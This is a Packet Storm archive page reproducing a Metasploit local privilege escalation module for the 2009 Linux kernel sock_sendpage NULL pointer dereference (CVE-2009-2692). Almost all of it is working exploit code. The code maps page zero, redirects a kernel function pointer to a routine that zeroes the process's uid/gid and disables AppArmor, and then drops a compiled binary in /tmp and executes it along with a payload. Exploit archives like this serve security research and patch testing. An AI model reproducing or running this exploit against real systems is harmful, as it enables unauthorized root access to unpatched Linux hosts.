Lucene search

K
packetstormBrad SpenglerPACKETSTORM:114856
HistoryJul 19, 2012 - 12:00 a.m.

Linux Kernel Sendpage Local Privilege Escalation

2012-07-1900:00:00
Brad Spengler
packetstormsecurity.com
51

0.001 Low

EPSS

Percentile

20.2%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
require 'msf/core/post/linux/priv'  
require 'msf/core/exploit/local/linux_kernel'  
require 'msf/core/exploit/local/linux'  
require 'msf/core/exploit/local/unix'  
  
#load 'lib/msf/core/post/file.rb'  
#load 'lib/msf/core/exploit/local/unix.rb'  
#load 'lib/msf/core/exploit/local/linux.rb'  
#load 'lib/msf/core/exploit/local/linux_kernel.rb'  
  
class Metasploit4 < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Common  
  
include Msf::Exploit::Local::LinuxKernel  
include Msf::Exploit::Local::Linux  
include Msf::Exploit::Local::Unix  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',  
'Description' => %q{  
The Linux kernel failed to properly initialize some entries the  
proto_ops struct for several protocols, leading to NULL being  
derefenced and used as a function pointer. By using mmap(2) to map  
page 0, an attacker can execute arbitrary code in the context of the  
kernel.  
  
Several public exploits exist for this vulnerability, including  
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.  
  
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:  
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy', # discovery  
'Julien Tinnes <julien at cr0.org>', # discovery  
'spender', # wunderbar_emporium.tgz  
'rcvalle', # sock_sendpage.c  
'egypt' # metasploit module  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'References' =>  
[  
[ 'CVE', '2009-2692' ],  
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],  
[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],  
],  
'Targets' =>  
[  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => "Aug 13 2009",  
}  
))  
end  
  
def exploit  
sc = Metasm::ELF.new(@cpu)  
sc.parse %Q|  
#define DEBUGGING  
#define NULL ((void*)0)  
#ifdef __ELF__  
.section ".bss" rwx  
.section ".text" rwx  
.entrypoint  
#endif  
call main  
;push eax  
call exit  
|  
  
# Set up the same include order as the bionic build system.  
# See external/source/meterpreter/source/bionic/libc/Jamfile  
cparser.lexer.include_search_path = [  
"external/source/meterpreter/source/bionic/libc/include/",  
"external/source/meterpreter/source/bionic/libc/private/",  
"external/source/meterpreter/source/bionic/libc/bionic/",  
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",  
"external/source/meterpreter/source/bionic/libc/kernel/common/",  
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",  
]  
  
cparser.parse(%Q|  
#define DEBUGGING  
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h  
#ifndef __extension__  
#define __extension__  
#endif  
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h  
// Doing #if on an undefined macro is fine in GCC, but a parse error in  
// metasm.  
#ifndef __STDC__  
#define __STDC__ 0  
#endif  
#include <sys/types.h>  
#include <sys/mman.h>  
#include <stdarg.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <errno.h>  
/*  
OpenBSD's strcmp from string/strcmp.c in bionic  
*/  
int  
strcmp(const char *s1, const char *s2)  
{  
while (*s1 == *s2++)  
if (*s1++ == 0)  
return (0);  
return (*(unsigned char *)s1 - *(unsigned char *)--s2);  
}  
|)  
  
[  
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",  
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",  
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",  
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",  
# This parses without any trouble, but actually calling perror() causes  
# immediate segfaults.  
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",  
  
# For some ungodly reason, NULL ends up being undefined when parsing this  
# guy, which of course causes parse errors.  
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",  
  
].each do |fname|  
print_status("Parsing c file #{fname}")  
cparser.parse(File.read(fname), fname)  
end  
  
print_status("Unix socket.h")  
unix_socket_h(sc)  
current_task_struct_h(sc)  
  
case target.arch.first  
when ARCH_X86  
print_status("syscall wrappers")  
linux_x86_syscall_wrappers(sc)  
main = %q^  
#ifdef __x86_64__  
#define PTR_FMT "0x%016x"  
#else  
#define PTR_FMT "0x%08x"  
#endif  
  
#define NULL ((void*)0)  
#define DOMAINS_STOP -1  
const int domains[] = {  
PF_BLUETOOTH,  
PF_APPLETALK,  
PF_IPX,  
PF_IRDA,  
PF_X25,  
PF_AX25,  
PF_BLUETOOTH,  
PF_PPPOX,  
DOMAINS_STOP  
};  
  
int *apparmor_enabled;  
  
int got_ring0 = 0;  
unsigned long uid, gid;  
  
static unsigned long get_kernel_sym(char *name)  
{  
FILE *f;  
unsigned long addr;  
char dummy;  
char sname[256];  
int ret;  
  
f = fopen("/proc/kallsyms", "r");  
if (f == NULL) {  
f = fopen("/proc/ksyms", "r");  
if (f == NULL) {  
printf("Unable to obtain symbol listing!\n");  
return 0;  
}  
}  
  
ret = 0;  
while(ret != EOF) {  
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);  
if (ret == 0) {  
fscanf(f, "%s\n", sname);  
continue;  
}  
if (!strcmp(name, sname)) {  
printf(" [+] Resolved %s to %p\n", name, (void *)addr);  
fclose(f);  
return addr;  
}  
}  
  
fclose(f);  
return 0;  
}  
  
  
static void  
change_cred(void)  
{  
unsigned int *task_struct;  
  
task_struct = (unsigned int *)current_task_struct();  
  
while (task_struct) {  
if (task_struct[0] == uid && task_struct[1] == uid &&  
task_struct[2] == uid && task_struct[3] == uid &&  
task_struct[4] == gid && task_struct[5] == gid &&  
task_struct[6] == gid && task_struct[7] == gid) {  
task_struct[0] = task_struct[1] =  
task_struct[2] = task_struct[3] =  
task_struct[4] = task_struct[5] =  
task_struct[6] = task_struct[7] = 0;  
break;  
}  
  
task_struct++;  
}  
  
return;  
}  
  
int __attribute__((regparm(3)))  
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)  
{  
  
got_ring0 = 1;  
if (apparmor_enabled && *apparmor_enabled) {  
*apparmor_enabled = 0;  
}  
change_cred();  
return -1;  
}  
  
const char *shellcode =  
"";  
int shellcode_size = 0;  
  
int main() {  
int i = 0;  
int d;  
int in_fd, out_fd;  
char *mapped;  
char template[] = "/tmp/sendfile.XXXXXX";  
int (*func)();  
  
uid = getuid(), gid = getgid();  
  
mapped = mmap(NULL , 0x1000,  
PROT_READ | PROT_WRITE | PROT_EXEC,  
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,  
0, 0  
);  
if (mapped == NULL) {  
printf("Mapped zero page!\n");  
} else {  
exit(1);  
}  
  
// jmp dword near [dword 0x8]  
mapped[0] = '\xff';  
mapped[1] = '\x25';  
*(unsigned long *)&mapped[2] = 8;  
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;  
  
for (i = 0; i < 16; i++) {  
printf("\\\\x%02x", (unsigned char)mapped[i]);  
}  
printf("\n");  
  
for (d = 0; domains[d] != DOMAINS_STOP; d++) {  
//printf("Next domain ... ");  
out_fd = socket(domains[d], SOCK_DGRAM, 0);  
if (out_fd > 0) {  
printf("Got domain[%d]\n", d);  
break;  
}  
if (out_fd < 0) {  
printf("out_fd: %d, Errno: %d\n", out_fd, errno);  
exit(1);  
}  
}  
unlink(template);  
// Couldn't get mkstemp to work, just use open(2) for now  
in_fd = open(template, O_CREAT | O_RDWR, 0777);  
printf("Opened temp file: %d\n", in_fd);  
unlink(template);  
printf("Calling ftruncate\n");  
ftruncate(in_fd, 4096);  
  
printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);  
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);  
sendfile(out_fd, in_fd, NULL, 4096);  
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);  
printf("UID: %d GID: %d\n", getuid(), getgid());  
  
func = mmap(NULL, 0x1000,  
PROT_READ | PROT_WRITE | PROT_EXEC,  
MAP_PRIVATE | MAP_ANONYMOUS,  
0, 0  
);  
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);  
// weaksauce memcpy so we don't have to #include <string.h>  
printf("Copying %d bytes of shellcode\n", shellcode_size);  
for (i = 0; i < shellcode_size; i++) {  
(char)func[i] = (char)shellcode[i];  
}  
printf("Calling shellcode: 0x%p\n", func);  
//sigtrap();  
func();  
  
return got_ring0;  
}  
^  
main.gsub!(/shellcode =/) do  
# split the payload into 16-byte chunks and dump it out as a  
# hex-escaped C string  
%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|  
end  
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")  
cparser.parse(main, "main.c")  
  
asm = cpu.new_ccompiler(cparser, sc).compile  
  
sc.parse asm  
end  
  
sc.assemble  
  
begin  
if sc.kind_of? Metasm::ELF  
elf = sc.encode_string  
else  
foo = sc.encode_string  
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)  
end  
rescue  
print_error "Metasm Encoding failed: #{$!}"  
elog "Metasm Encoding failed: #{$!.class} : #{$!}"  
elog "Call stack:\n#{$!.backtrace.join("\n")}"  
return  
end  
  
#puts Rex::Text.to_hex_dump(foo)  
File.open("payload.bin", "wb") {|fd|  
fd.write elf  
}  
print_status "Writing exploit executable (#{elf.length} bytes)"  
cmd_exec("rm /tmp/sendpage")  
write_file("/tmp/sendpage", elf)  
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")  
output.each_line { |line| print_debug line.chomp }  
#cmd_exec("rm /tmp/sendpage")  
  
end  
  
end  
`